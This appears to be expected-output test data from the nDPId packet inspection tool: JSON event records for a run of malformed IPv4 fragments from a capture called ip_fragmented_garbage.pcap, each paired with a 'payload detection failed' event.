+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825952,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825973,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826021,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826039,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826050,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826064,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826091,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826119,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826128,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826138,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826289,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826317,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":826352,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 